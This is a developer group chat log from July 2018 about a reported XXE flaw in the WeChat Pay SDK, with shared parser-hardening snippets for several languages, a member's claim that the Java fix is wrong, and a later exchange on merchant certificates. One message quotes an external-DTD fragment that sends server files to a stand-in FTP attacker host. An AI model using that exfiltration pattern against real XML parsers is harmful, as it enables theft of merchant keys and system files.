07:57:53 右军

程序员吃的是青春饭?本质上取决于……

14:12:38 Codefor-YMT-TechLead-BJ

[漏洞预警 微信支付SDK存在XXE漏洞 - 先知社区](https://xz.aliyun.com/t/2426)

14:12:39 Codefor-YMT-TechLead-BJ

微信java sdk漏洞,各位java系的同学关注下

14:22:13 美的支付-李胜军-架构

java版的sdk是什么?

14:25:08 上海睿民-陈帅康-项目经理

没用过么?微信的sdk

14:26:31 邹刘名-百联-研发

sdk就是工具包呀

14:28:02 美的支付-李胜军-架构

是服务端的sdk啊,还以为终端的呢[偷笑]

14:43:04 Daniel-快钱-架构

callback的XML不是加密的吗?怎么能伪造呢?

14:43:44 Daniel-快钱-架构

能伪造XML说明私钥早就泄漏了

14:46:38 李秀刚

报文只有签名没有加密

14:48:41 李胜勇-永乐-G

2018-07-03 14:48:41

14:49:56 李秀刚

是解析xml的漏洞

14:54:21 上海睿民-陈帅康-项目经理

微信支付商户,如果你在使用支付业务回调通知中,存在以下场景,有使用XML解析的情况,请务必检查是否对XML的XXE漏洞进行了防范。 1、支付成功通知; 2、退款成功通知; 3、委托代扣签约、解约、扣款通知; 4、车主解约通知; 【检查及修复建议】: 【PHP】 libxml_disable_entity_loader(true); 【JAVA】 DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); 【.Net】 XmlResolver = null; 【Python】 from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 【c/c++(常用库为libxml2 libxerces-c)】 【libxml2】: 确保关闭配置选项:XML_PARSE_NOENT 和 XML_PARSE_DTDLOAD 2.9版本以上已修复xxe 【libxerces-c】: 如果用的是XercesDOMParser: XercesDOMParser parser = new XercesDOMParser; parser->setCreateEntityReferenceNodes(false); 如果是用SAXParser: SAXParser parser = new SAXParser; parser->setDisableDefaultEntityResolution(true); 如果是用SAX2XMLReader: SAX2XMLReader* reader = XMLReaderFactory::createXMLReader(); parser->setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, true); 更多开源库/语言版本的修复建议可参考: https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#C.2FC.2B.2B

15:00:13 美的支付-李胜军-架构

微信支付官方通知的?

15:03:21 上海睿民-陈帅康-项目经理

微信支付的同事发给我的,看上去像是官方的

16:35:35 泽西-趋恒-架构师

wms 系统哪家最出名

17:03:36 李小胖-优讯-打杂

微信支付 SDK 惊爆漏洞:黑客可 0 元购买任意商品

17:03:50 李小胖-优讯-打杂

CSDN推了新闻。

17:07:01 Fighting

2018-07-03 17:07:01

17:07:05 Fighting

真是要脸…

17:07:25 李小胖-优讯-打杂

[偷笑]

17:07:37 上海睿民-陈帅康-项目经理

呵呵…

17:07:42 Fighting

而且刚才同事亲测 那个Java修复代码是错的

17:08:21 李小胖-优讯-打杂

吓得我下午感觉让我们项目组把几个异步通知加了几个校验[捂脸]

17:08:23 Fighting

documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

17:08:27 Fighting

正确的操作是这个

17:09:04 Fighting

实践出真知[奋斗]

17:40:39 hobbit-技术总监

请教大家一下,看csdn那个文章,用于注入外部dtd, 内容未upload system ‘ ftp://attact:33/%attact’ 这个为什么可以 可以获取得到md5和merch_id

17:45:30 Fighting

libxml的bug

17:46:58 hobbit-技术总监

想不明白啊.即使执行了这个脚本..但是怎么获取到merchid和md5的key?

17:50:52 Fighting

https://b1ngz.github.io/XXE-learning-note/

18:01:35 hobbit-技术总监

总算看明白,他是会把/etc/下面的文件 通过ftp上传到他指定的服务器.确实存在这个应用程序被他获取.然后反编译获取到里面的md5这一些.或者系统日志.

18:02:47 hobbit-技术总监

@micheal 简米 开发 谢谢[呲牙]

18:03:33 Fighting

kq

18:56:22 syu

各位,咨询个技术问题,微信商户web端操作,有个操作证书。 想了解下这个操作证书在技术上是怎么处理的? 我个人感觉有点儿像ssl的双向认证,但是感觉好像又不太一样,哪位能解释一下

19:03:45 Codefor-YMT-TechLead-BJ

截个图看看?微信支付商户后台有好几个证书呢

19:09:57 syu

2018-07-03 19:09:57

19:16:01 syu

@Codefor-YMT-TechLead-BJ

19:16:58 Codefor-YMT-TechLead-BJ

这种就是浏览器证书啊,证书的内容和实现都是自定义的

19:17:44 Codefor-YMT-TechLead-BJ

API证书是是个标准的https双向认证客户端证书,不过不是CA签名的,是微信自己发的

19:21:38 syu

技术架构上怎么处理的,跟ssl双向认证有什么区别?

19:21:39 syu

2018-07-03 19:21:39

19:22:09 Codefor-YMT-TechLead-BJ

技术不用管这个啊。 技术只需要处理API证书就可以了

19:23:32 syu

运维架构上怎么处理的

19:25:40 Codefor-YMT-TechLead-BJ

一般财务或者运营才用这个商户后台,保护好证书就行了。

19:26:06 bill在飞

证书可以做客户端的认证的话,用root证书就可以验签。我这么理解

19:37:34 syu

@凤凰牌老熊?老熊能指导一下么?

19:38:23 美的支付-李胜军-架构

就是一个证书,加解密输入框的内容